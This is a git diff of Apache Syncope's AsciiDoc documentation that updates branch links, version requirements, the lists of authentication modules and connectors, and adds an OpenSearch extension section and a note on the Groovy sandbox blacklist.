+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/src/main/asciidoc/fonts/fontawesome-webfont.ttf b/src/main/asciidoc/fonts/fontawesome-webfont.ttf new file mode 100644 index 00000000000..35acda2fa11 Binary files /dev/null and b/src/main/asciidoc/fonts/fontawesome-webfont.ttf differ diff --git a/src/main/asciidoc/fonts/fontawesome-webfont.woff b/src/main/asciidoc/fonts/fontawesome-webfont.woff new file mode 100644 index 00000000000..400014a4b06 Binary files /dev/null and b/src/main/asciidoc/fonts/fontawesome-webfont.woff differ diff --git a/src/main/asciidoc/fonts/fontawesome-webfont.woff2 b/src/main/asciidoc/fonts/fontawesome-webfont.woff2 new file mode 100644 index 00000000000..4d13fc60404 Binary files /dev/null and b/src/main/asciidoc/fonts/fontawesome-webfont.woff2 differ diff --git a/src/main/asciidoc/getting-started/getting-started.adoc b/src/main/asciidoc/getting-started/getting-started.adoc index af3990869fa..bc332684fb1 100644 --- a/src/main/asciidoc/getting-started/getting-started.adoc +++ b/src/main/asciidoc/getting-started/getting-started.adoc @@ -24,7 +24,8 @@ :homepage: https://syncope.apache.org :description: Several ways to get started with Apache Syncope :keywords: Apache Syncope, IdM, provisioning, identity management, getting started, tutorial - +:!webfonts: +:iconfont-remote!: :docinfo1: :last-update-label!: :sectanchors: diff --git a/src/main/asciidoc/getting-started/movingForward.adoc b/src/main/asciidoc/getting-started/movingForward.adoc index d22fca9a3f1..a12689cf87d 100644 --- a/src/main/asciidoc/getting-started/movingForward.adoc +++ b/src/main/asciidoc/getting-started/movingForward.adoc @@ -22,10 +22,10 @@ Once you have obtained a working installation of Apache Syncope using one of the methods reported above, you should consider reading the ifeval::["{backend}" == "html5"] -https://syncope.apache.org/docs/reference-guide.html[Apache Syncope Reference Guide.] +https://syncope.apache.org/docs/3.0/reference-guide.html[Apache Syncope Reference Guide.] endif::[] ifeval::["{backend}" == "pdf"] -https://syncope.apache.org/docs/reference-guide.pdf[Apache Syncope Reference Guide.] +https://syncope.apache.org/docs/3.0/reference-guide.pdf[Apache Syncope Reference Guide.] endif::[] to understand how to configure, extend, customize and deploy your new Apache Syncope project. diff --git a/src/main/asciidoc/getting-started/obtain.adoc b/src/main/asciidoc/getting-started/obtain.adoc index 0aea0ceebf8..094fc3beb5d 100644 --- a/src/main/asciidoc/getting-started/obtain.adoc +++ b/src/main/asciidoc/getting-started/obtain.adoc @@ -137,7 +137,7 @@ Environment variables: * `DB_POOL_MIN`: internal storage connection pool: floor * `OPENJPA_REMOTE_COMMIT`: configure multiple instances, with high availability; valid values are the ones accepted by OpenJPA for -http://openjpa.apache.org/builds/3.1.2/apache-openjpa/docs/ref_guide_event.html[remote event notification^] including +https://openjpa.apache.org/builds/3.2.2/apache-openjpa/docs/ref_guide_event.html[remote event notification^] including `sjvm` (single instance) ===== Console @@ -176,7 +176,7 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/tree/syncope-{docVersion}/docker/src/main/resources/docker-compose[available^]. endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/tree/master/docker/src/main/resources/docker-compose[available^]. +https://github.com/apache/syncope/tree/3_0_X/docker/src/main/resources/docker-compose[available^]. endif::[] .Core, Admin UI and Enduser UI with PostgreSQL, with embedded Keymaster @@ -190,8 +190,6 @@ are passed with same values as `ANONYMOUS_USER` / `ANONYMOUS_KEY`. [source,yaml,subs="verbatim,attributes"] ---- -version: '3.3' - services: db: // <1> image: postgres:latest @@ -272,8 +270,6 @@ containers. [source,yaml,subs="verbatim,attributes"] ---- -version: '3.3' - services: keymaster: // <1> image: zookeeper:3.7.0 @@ -393,9 +389,14 @@ services: . Save the example file locally. . Download and start the containers: + -[source,bash] +[source,bash,subs="verbatim,attributes"] ---- -$ docker compose -f /path/to/docker-compose.yml up +$ SYNCOPE_VERSION={docVersion} \ +ANONYMOUS_USER=anonymous \ +ANONYMOUS_KEY=anonymousKey \ +KEYMASTER_USERNAME=anonymous \ +KEYMASTER_PASSWORD=anonymousKey \ +docker compose -f /path/to/docker-compose.yml up ---- The following services will be available: @@ -428,7 +429,7 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/tree/syncope-{docVersion}/docker/src/main/resources/kubernetes[available^], endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/tree/master/docker/src/main/resources/kubernetes[available^], +https://github.com/apache/syncope/tree/3_0_X/docker/src/main/resources/kubernetes[available^], endif::[] that can be used to install Apache Syncope directly in Kubernetes. @@ -461,7 +462,7 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/tree/syncope-{docVersion}/docker/src/main/resources/kubernetes[folder^], endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/tree/master/docker/src/main/resources/kubernetes[folder^], +https://github.com/apache/syncope/tree/3_0_X/docker/src/main/resources/kubernetes[folder^], endif::[] wherever you downloaded it @@ -498,7 +499,7 @@ Provides access to the full capabilities of Apache Syncope, and almost all exten [[maven-prerequisites]] ==== Prerequisites - . http://maven.apache.org/[Apache Maven^] (version 3.5.0 or higher) installed + . http://maven.apache.org/[Apache Maven^] (version 3.9.5 or higher) installed . Some basic knowledge about Maven . Some basic knowledge about http://maven.apache.org/guides/introduction/introduction-to-archetypes.html[Maven archetypes^]. @@ -596,10 +597,10 @@ If no failures are encountered, your basic Apache Syncope project is now ready t Before actual deployment as executable or onto a Java EE container, you need to further check the **Customization** chapter of the ifeval::["{backend}" == "html5"] -https://syncope.apache.org/docs/reference-guide.html[Apache Syncope Reference Guide.] +https://syncope.apache.org/docs/3.0/reference-guide.html[Apache Syncope Reference Guide.] endif::[] ifeval::["{backend}" == "pdf"] -https://syncope.apache.org/docs/reference-guide.pdf[Apache Syncope Reference Guide.] +https://syncope.apache.org/docs/3.0/reference-guide.pdf[Apache Syncope Reference Guide.] endif::[] ==== @@ -627,10 +628,10 @@ configured for the embedded mode. When building for production, instead, it is recommended to check the **Customization** chapter of the ifeval::["{backend}" == "html5"] -https://syncope.apache.org/docs/reference-guide.html[Apache Syncope Reference Guide.] +https://syncope.apache.org/docs/3.0/reference-guide.html[Apache Syncope Reference Guide.] endif::[] ifeval::["{backend}" == "pdf"] -https://syncope.apache.org/docs/reference-guide.pdf[Apache Syncope Reference Guide.] +https://syncope.apache.org/docs/3.0/reference-guide.pdf[Apache Syncope Reference Guide.] endif::[] ==== diff --git a/src/main/asciidoc/getting-started/systemRequirements.adoc b/src/main/asciidoc/getting-started/systemRequirements.adoc index 6dfcaebe65d..fbc046c70ba 100644 --- a/src/main/asciidoc/getting-started/systemRequirements.adoc +++ b/src/main/asciidoc/getting-started/systemRequirements.adoc @@ -30,7 +30,7 @@ managed entities (Users, Groups and Any Objects), their attributes and resources === Java -Apache Syncope {docVersion} requires the latest JDK 11 that is available. Works with JDK 14 and JDK 17. +Apache Syncope {docVersion} requires the latest JDK 11 that is available. Works with JDK 17. === Java EE Container diff --git a/src/main/asciidoc/reference-guide/architecture/core.adoc b/src/main/asciidoc/reference-guide/architecture/core.adoc index 0eecc3435c3..e6711465c98 100644 --- a/src/main/asciidoc/reference-guide/architecture/core.adoc +++ b/src/main/asciidoc/reference-guide/architecture/core.adoc @@ -68,9 +68,8 @@ external data. The Workflow layer is responsible for managing the internal lifecycle of Users, Groups and Any Objects. Besides the default engine, another engine is available based on https://www.flowable.org/[Flowable^], the -reference open source http://www.bpmn.org/[BPMN 2.0^] implementation. It enables advanced features such -as approval management and new statuses definitions; a web-based GUI editor, the -https://www.flowable.org/docs/userguide/index.html#flowableModelerApp[Flowable Modeler^], is also available. +reference open source http://www.bpmn.org/[BPMN 2.0^] implementation. It enables advanced features such as approval +management and new statuses definitions; a web-based GUI editor to model workflows and user requests is also available. [.text-center] image::userWorkflow.png[title="Default Flowable user workflow",alt="Default Flowable user workflow"] @@ -81,7 +80,7 @@ https://camunda.org/[Camunda^] or http://jbpm.jboss.org/[jBPM^], can be written ==== Persistence All data (users, groups, attributes, resources, ...) is internally managed at a high level using a standard -https://en.wikipedia.org/wiki/Java_Persistence_API[JPA 2.2^] approach based on http://openjpa.apache.org[Apache OpenJPA^]. +https://en.wikipedia.org/wiki/Java_Persistence_API[JPA 2.2^] approach based on https://openjpa.apache.org[Apache OpenJPA^]. The data is persisted into an underlying database, referred to as *_Internal Storage_*. Consistency is ensured via the comprehensive https://docs.spring.io/spring-framework/docs/5.3.x/reference/html/data-access.html#transaction[transaction management^] diff --git a/src/main/asciidoc/reference-guide/concepts/attributerepositories.adoc b/src/main/asciidoc/reference-guide/concepts/attributerepositories.adoc index c8299a71370..499f13132dd 100644 --- a/src/main/asciidoc/reference-guide/concepts/attributerepositories.adoc +++ b/src/main/asciidoc/reference-guide/concepts/attributerepositories.adoc @@ -27,6 +27,8 @@ Some attribute repositories are provided: * https://apereo.github.io/cas/6.6.x/integration/Attribute-Resolution-LDAP.html[LDAP^] * https://apereo.github.io/cas/6.6.x/integration/Attribute-Resolution-Stub.html[Stub^] * https://apereo.github.io/cas/6.6.x/integration/Attribute-Resolution-Syncope.html[Syncope^] +* https://apereo.github.io/cas/6.6.x/integration/Attribute-Resolution-AzureAD.html[Azure Active Directory^] +* https://apereo.github.io/cas/6.6.x/integration/Attribute-Resolution-Okta.html[Okta^] [TIP] ==== @@ -35,14 +37,14 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/common/am/lib/src/main/java/org/apache/syncope/common/lib/attr/AttrRepoConf.java[AttrRepoConf^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/common/am/lib/src/main/java/org/apache/syncope/common/lib/attr/AttrRepoConf.java[AttrRepoConf^] +https://github.com/apache/syncope/blob/3_0_X/common/am/lib/src/main/java/org/apache/syncope/common/lib/attr/AttrRepoConf.java[AttrRepoConf^] endif::[] interface and extending appropriately the ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/wa/bootstrap/src/main/java/org/apache/syncope/wa/bootstrap/WAPropertySourceLocator.java[WAPropertySourceLocator^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/wa/bootstrap/src/main/java/org/apache/syncope/wa/bootstrap/WAPropertySourceLocator.java[WAPropertySourceLocator^] +https://github.com/apache/syncope/blob/3_0_X/wa/bootstrap/src/main/java/org/apache/syncope/wa/bootstrap/WAPropertySourceLocator.java[WAPropertySourceLocator^] endif::[] class. ==== diff --git a/src/main/asciidoc/reference-guide/concepts/audit.adoc b/src/main/asciidoc/reference-guide/concepts/audit.adoc index 4a0cda5a424..2a5a552b4a8 100644 --- a/src/main/asciidoc/reference-guide/concepts/audit.adoc +++ b/src/main/asciidoc/reference-guide/concepts/audit.adoc @@ -25,11 +25,6 @@ Audit events can also be processed differently, for example when using the <>. -==== - ==== Audit Events The information provided for <> is also valid for audit events, including examples - @@ -47,7 +42,7 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/audit/AuditAppender.java[AuditAppender^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/audit/AuditAppender.java[AuditAppender^] +https://github.com/apache/syncope/blob/3_0_X/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/audit/AuditAppender.java[AuditAppender^] endif::[] interface. @@ -61,7 +56,7 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/audit/DefaultAuditAppender.java[DefaultAuditAppender^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/audit/DefaultAuditAppender.java[DefaultAuditAppender^] +https://github.com/apache/syncope/blob/3_0_X/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/audit/DefaultAuditAppender.java[DefaultAuditAppender^] endif::[] | This requires to specify (a) a set of events to which the appender is bound (log only if one of such events occurs) and (b) a target appender, e.g. one of https://logging.apache.org/log4j/2.x/manual/appenders.html[Apache Log4j 2 Appenders^] @@ -72,7 +67,7 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/audit/DefaultRewriteAuditAppender.java[DefaultRewriteAuditAppender^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/audit/DefaultRewriteAuditAppender.java[DefaultRewriteAuditAppender^] +https://github.com/apache/syncope/blob/3_0_X/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/audit/DefaultRewriteAuditAppender.java[DefaultRewriteAuditAppender^] endif::[] | In addition, this requires to provide a https://logging.apache.org/log4j/2.x/log4j-core/apidocs/org/apache/logging/log4j/core/appender/rewrite/RewritePolicy.html[RewritePolicy^] diff --git a/src/main/asciidoc/reference-guide/concepts/authenticationmodules.adoc b/src/main/asciidoc/reference-guide/concepts/authenticationmodules.adoc index 3d0cc4e61cf..3e23fb1d312 100644 --- a/src/main/asciidoc/reference-guide/concepts/authenticationmodules.adoc +++ b/src/main/asciidoc/reference-guide/concepts/authenticationmodules.adoc @@ -27,10 +27,18 @@ Several authentication modules are provided: ** https://apereo.github.io/cas/6.6.x/authentication/Database-Authentication.html[Database^] ** https://apereo.github.io/cas/6.6.x/authentication/JAAS-Authentication.html[JAAS^] ** https://apereo.github.io/cas/6.6.x/authentication/LDAP-Authentication.html[LDAP^] - ** https://apereo.github.io/cas/6.6.x/integration/Delegate-Authentication.html[OpenID Connect^] - ** https://apereo.github.io/cas/6.6.x/authentication/Syncope-Authentication.html[Static^] + ** https://apereo.github.io/cas/6.6.x/authentication/SPNEGO-Authentication.html[SPNEGO^] ** https://apereo.github.io/cas/6.6.x/authentication/Syncope-Authentication.html[Syncope^] - ** https://apereo.github.io/cas/6.6.x/integration/Delegate-Authentication.html[SAML^] + ** https://apereo.github.io/cas/6.6.x/authentication/Azure-ActiveDirectory-Authentication.html[Azure Active Directory^] + ** https://apereo.github.io/cas/6.6.x/authentication/Okta-Authentication.html[Okta^] + ** https://apereo.github.io/cas/6.6.x/authentication/X509-Authentication.html[X509^] + ** https://apereo.github.io/cas/6.6.x/integration/Delegate-Authentication-Generic-OpenID-Connect.html[OpenID Connect^] + ** https://apereo.github.io/cas/6.6.x/integration/Delegate-Authentication-OAuth20.html[OAuth2^] + ** https://apereo.github.io/cas/6.6.x/integration/Delegate-Authentication-SAML.htmll[SAML^] + ** https://apereo.github.io/cas/6.6.x/integration/Delegate-Authentication-Apple.html[Apple Signin^] + ** https://apereo.github.io/cas/6.6.x/integration/Delegate-Authentication-Azure-AD.html[Azure Active Directory (OIDC)^] + ** https://apereo.github.io/cas/6.6.x/integration/Delegate-Authentication-Google-OpenID-Connect.html[Google OpenID^] + ** https://apereo.github.io/cas/6.6.x/integration/Delegate-Authentication-Keycloak.html[Keycloak^] * MFA: ** https://apereo.github.io/cas/6.6.x/mfa/DuoSecurity-Authentication.html[Duo Security^] ** https://apereo.github.io/cas/6.6.x/mfa/FIDO-U2F-Authentication.html[Fido U2F^] @@ -43,14 +51,14 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/AuthModuleConf.java[AuthModuleConf^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/AuthModuleConf.java[AuthModuleConf^] +https://github.com/apache/syncope/blob/3_0_X/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/AuthModuleConf.java[AuthModuleConf^] endif::[] interface and extending appropriately the ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/wa/bootstrap/src/main/java/org/apache/syncope/wa/bootstrap/WAPropertySourceLocator.java[WAPropertySourceLocator^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/wa/bootstrap/src/main/java/org/apache/syncope/wa/bootstrap/WAPropertySourceLocator.java[WAPropertySourceLocator^] +https://github.com/apache/syncope/blob/3_0_X/wa/bootstrap/src/main/java/org/apache/syncope/wa/bootstrap/WAPropertySourceLocator.java[WAPropertySourceLocator^] endif::[] class. ==== diff --git a/src/main/asciidoc/reference-guide/concepts/clientapplications.adoc b/src/main/asciidoc/reference-guide/concepts/clientapplications.adoc index 46f741723fd..4f297be7f30 100644 --- a/src/main/asciidoc/reference-guide/concepts/clientapplications.adoc +++ b/src/main/asciidoc/reference-guide/concepts/clientapplications.adoc @@ -30,12 +30,18 @@ Depending on the communication protocol, the following client applications are s When defining a client application, the following parameters shall be specified: . id - unique number identifier of the current client application +. <> - used to inherit policies . name - regular expression to match requests . description - optional textual description +. username attribute provider, mapping to +https://apereo.github.io/cas/6.6.x/integration/Attribute-Release-PrincipalId-Attribute.html[CAS Attribute-based Principal Id^] . <> . <> . <> +. <> . additional properties +. logout type, mapping to +https://apereo.github.io/cas/6.6.x/installation/Logout-Single-Signout.html#slo-requests[the equivalent CAS setting^] More parameters are required to be specified depending on the actual client application type. diff --git a/src/main/asciidoc/reference-guide/concepts/entitlements.adoc b/src/main/asciidoc/reference-guide/concepts/entitlements.adoc index f6cf1a45615..11f24dd9229 100644 --- a/src/main/asciidoc/reference-guide/concepts/entitlements.adoc +++ b/src/main/asciidoc/reference-guide/concepts/entitlements.adoc @@ -24,19 +24,19 @@ The components in the <> are annotated with https://spring.io/projects/spring-security[Spring Security^] to implement declarative security; in the following code snippet taken from ifeval::["{snapshotOrRelease}" == "release"] -https://github.com/apache/syncope/blob/syncope-{docVersion}/core/logic/src/main/java/org/apache/syncope/core/logic/RealmLogic.java[RealmLogic^] +https://github.com/apache/syncope/blob/syncope-{docVersion}/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/RealmLogic.java[RealmLogic^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/logic/src/main/java/org/apache/syncope/core/logic/RealmLogic.java[RealmLogic^] +https://github.com/apache/syncope/blob/3_0_X/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/RealmLogic.java[RealmLogic^] endif::[] , the https://docs.spring.io/spring-security/site/docs/5.5.x/reference/html5/#el-common-built-in[`hasRole` expression^] -is used together with one of the standard entitlements to restrict access only to Users owning the `REALM_LIST` +is used together with one of the standard entitlements to restrict access only to Users owning the `REALM_SEARCH` entitlement. [source,java] ---- -@PreAuthorize("hasRole('" + IdRepoEntitlement.REALM_LIST + "')") +@PreAuthorize("hasRole('" + IdRepoEntitlement.REALM_SEARCH + "')") public List list(final String fullPath) { ---- @@ -50,14 +50,14 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/types/IdRepoEntitlement.java[statically defined^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/types/IdRepoEntitlement.java[statically defined^] +https://github.com/apache/syncope/blob/3_0_X/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/types/IdRepoEntitlement.java[statically defined^] endif::[] - even though <> have the ability to ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/ext/flowable/common-lib/src/main/java/org/apache/syncope/common/lib/types/FlowableEntitlement.java[enlarge the initial list^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/ext/flowable/common-lib/src/main/java/org/apache/syncope/common/lib/types/FlowableEntitlement.java[enlarge the initial list^] +https://github.com/apache/syncope/blob/3_0_X/ext/flowable/common-lib/src/main/java/org/apache/syncope/common/lib/types/FlowableEntitlement.java[enlarge the initial list^] endif::[] : this is because entitlements are the pillars of the internal security model and are not meant for external usage. diff --git a/src/main/asciidoc/reference-guide/concepts/extensions.adoc b/src/main/asciidoc/reference-guide/concepts/extensions.adoc index 1c09ec00fea..c050ef01111 100644 --- a/src/main/asciidoc/reference-guide/concepts/extensions.adoc +++ b/src/main/asciidoc/reference-guide/concepts/extensions.adoc @@ -54,7 +54,7 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/tree/syncope-{docVersion}/ext/saml2sp4ui[source tree^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/tree/master/ext/saml2sp4ui[source tree^] +https://github.com/apache/syncope/tree/3_0_X/ext/saml2sp4ui[source tree^] endif::[] . ==== @@ -88,7 +88,7 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/tree/syncope-{docVersion}/ext/oidcc4ui[source tree^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/tree/master/ext/oidcc4ui[source tree^] +https://github.com/apache/syncope/tree/3_0_X/ext/oidcc4ui[source tree^] endif::[] . ==== @@ -101,8 +101,8 @@ This extension adds features to all components and layers that are available, an ==== Elasticsearch -This extension provides an alternate internal search engine for <> and <>, -requiring an external https://www.elastic.co/[Elasticsearch^] cluster. +This extension provides an alternate internal search engine for <>,<> and +<>, requiring an external https://www.elastic.co/[Elasticsearch^] cluster. [WARNING] This extension supports Elasticsearch server versions starting from 8.x. @@ -119,7 +119,29 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/tree/syncope-{docVersion}/ext/elasticsearch[source tree^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/tree/master/ext/elasticsearch[source tree^] +https://github.com/apache/syncope/tree/3_0_X/ext/elasticsearch[source tree^] +endif::[] +. +==== + +==== OpenSearch + +This extension provides an alternate internal search engine for <>,<> and +<>, requiring an external https://opensearch.org/[OpenSearch^] cluster. + +[TIP] +As search operations are central for different aspects of the <>, the global +performance is expected to improve when using this extension. + +[NOTE] +.Extension Sources +==== +The source code of this extension is available from the Apache Syncope +ifeval::["{snapshotOrRelease}" == "release"] +https://github.com/apache/syncope/tree/syncope-{docVersion}/ext/opensearch[source tree^] +endif::[] +ifeval::["{snapshotOrRelease}" == "snapshot"] +https://github.com/apache/syncope/tree/3_0_X/ext/opensearch[source tree^] endif::[] . ==== @@ -144,7 +166,7 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/tree/syncope-{docVersion}/ext/scimv2[source tree^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/tree/master/ext/scimv2[source tree^] +https://github.com/apache/syncope/tree/3_0_X/ext/scimv2[source tree^] endif::[] . ==== diff --git a/src/main/asciidoc/reference-guide/concepts/externalresources.adoc b/src/main/asciidoc/reference-guide/concepts/externalresources.adoc index 66d202989b2..a0c52de9f2a 100644 --- a/src/main/asciidoc/reference-guide/concepts/externalresources.adoc +++ b/src/main/asciidoc/reference-guide/concepts/externalresources.adoc @@ -36,13 +36,12 @@ Several Connector Bundles come included with Apache Syncope: * https://connid.atlassian.net/wiki/pages/viewpage.action?pageId=360482[Active Directory^] * https://connid.atlassian.net/wiki/display/BASE/Azure[Azure^] * https://connid.atlassian.net/wiki/display/BASE/CSV+Directory[CSV Directory^] -* https://connid.atlassian.net/wiki/spaces/BASE/pages/360497/Database+Table[Database Table^] and -https://connid.atlassian.net/wiki/spaces/BASE/pages/5570564/Scripted+SQL[Scripted SQL^] +* https://connid.atlassian.net/wiki/display/BASE/Database[Database^] * https://connid.atlassian.net/wiki/display/BASE/Google+Apps[Google Apps^] * https://connid.atlassian.net/wiki/display/BASE/LDAP[LDAP^] * https://connid.atlassian.net/wiki/display/BASE/REST[Scripted REST^] * https://connid.atlassian.net/wiki/display/BASE/ServiceNow[ServiceNow^] -* https://connid.atlassian.net/wiki/spaces/BASE/pages/413433857/SCIM+1.1[SCIM 1.1^] +* https://connid.atlassian.net/wiki/display/BASE/SCIM[SCIM^] * https://connid.atlassian.net/wiki/display/BASE/SOAP[SOAP^] More Connector Bundles can be <>, if needed. @@ -54,7 +53,7 @@ When defining a connector instance, the following information must be provided: * administration realm - the <> under which administrators need to own <> in order to be allowed to manage this connector and all related external resources * connector bundle - one of the several -https://github.com/Tirasa/ConnId/blob/master/README.md#available-connectors[already available^], or some to be +https://github.com/Tirasa/ConnId/blob/3_0_X/README.md#available-connectors[already available^], or some to be https://connid.atlassian.net/wiki/display/BASE/Create+new+connector[made from scratch^], in order to fulfill specific requirements * pooling information @@ -90,9 +89,6 @@ required configuration or capabilities. Given a selected connector instance, the following information is required to define an external resource: * priority - integer value, in use by the default <> -* generate random password flag - under some circumstances, a password might be mandatory but no actual value could be -available: with this flag set, a random value will be generated, compliant with the defined -<> (if set) * propagation actions - which <> shall be executed during propagation * trace levels - control how much tracing (including logs and execution details) shall be carried over during <>, <> and <> @@ -115,7 +111,7 @@ configuring an external resource. Such information, in fact, plays a key role fo [.text-center] image::mapping.png[title="Sample mapping",alt="Sample mapping"] -For each of the <> supported by the underlying connector, a different mapping is provided. +For each of the <> supported by the underlying connector, a different mapping is provided. A mapping is essentially a collection of _mapping items_ describing the correspondence between an user / group / any object attribute and its counterpart on the Identity Store represented by the current external resource. Each item @@ -142,7 +138,7 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/data/ItemTransformer.java[ItemTransformer^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/data/ItemTransformer.java[ItemTransformer^] +https://github.com/apache/syncope/blob/3_0_X/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/data/ItemTransformer.java[ItemTransformer^] endif::[] ; the purpose is to transform values before they are sent to or received from the underlying connector * mandatory condition - http://commons.apache.org/proper/commons-jexl/[JEXL^] expression indicating whether values for diff --git a/src/main/asciidoc/reference-guide/concepts/implementations.adoc b/src/main/asciidoc/reference-guide/concepts/implementations.adoc index 2107b73b118..ae75c890c32 100644 --- a/src/main/asciidoc/reference-guide/concepts/implementations.adoc +++ b/src/main/asciidoc/reference-guide/concepts/implementations.adoc @@ -33,6 +33,18 @@ Customizing and extending the Core behavior by uploading a Groovy class via REST platform, allows to speed up the development cycle and can be used as Swiss army knife for maintenance and administration. -Please beware that granting the permission to manage Implementations to non-admin users can result in security threat, -as there is virtually no limitation in what the Groovy code has access to. +Please beware that granting the permission to manage Implementations to non-admin users shall be performed with great +care. The Groovy code is anyway going to be executed in a sandbox, where the set of forbidden classes and methods +can be configured on each deployment. + +Check the provided +ifeval::["{snapshotOrRelease}" == "release"] +https://github.com/ilgrosso/syncope/blob/syncope-{docVersion}/core/spring/src/main/resources/META-INF/groovy.blacklist[groovy.blacklist^] +endif::[] +ifeval::["{snapshotOrRelease}" == "snapshot"] +https://github.com/ilgrosso/syncope/blob/4_0_X/core/spring/src/main/resources/META-INF/groovy.blacklist[groovy.blacklist^] +endif::[] +. + +The default Groovy sandbox controls can be tweaked by configuring a local copy of `groovy.blacklist`, which will then +have to be referenced by adjusting the value of the `security.groovyBlacklist` property in the `core.properties` file. ==== diff --git a/src/main/asciidoc/reference-guide/concepts/notifications.adoc b/src/main/asciidoc/reference-guide/concepts/notifications.adoc index 68f89d44c2d..38410b68a0e 100644 --- a/src/main/asciidoc/reference-guide/concepts/notifications.adoc +++ b/src/main/asciidoc/reference-guide/concepts/notifications.adoc @@ -40,7 +40,7 @@ ifeval::["{snapshotOrRelease}" == "release"] https://github.com/apache/syncope/blob/syncope-{docVersion}/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/notification/RecipientsProvider.java[RecipientsProvider^] endif::[] ifeval::["{snapshotOrRelease}" == "snapshot"] -https://github.com/apache/syncope/blob/master/core/provisioning-api/src/main/java/org/apache/syncope/core/provisioning/api/notification/RecipientsProvider.java[RecipientsProvider^] 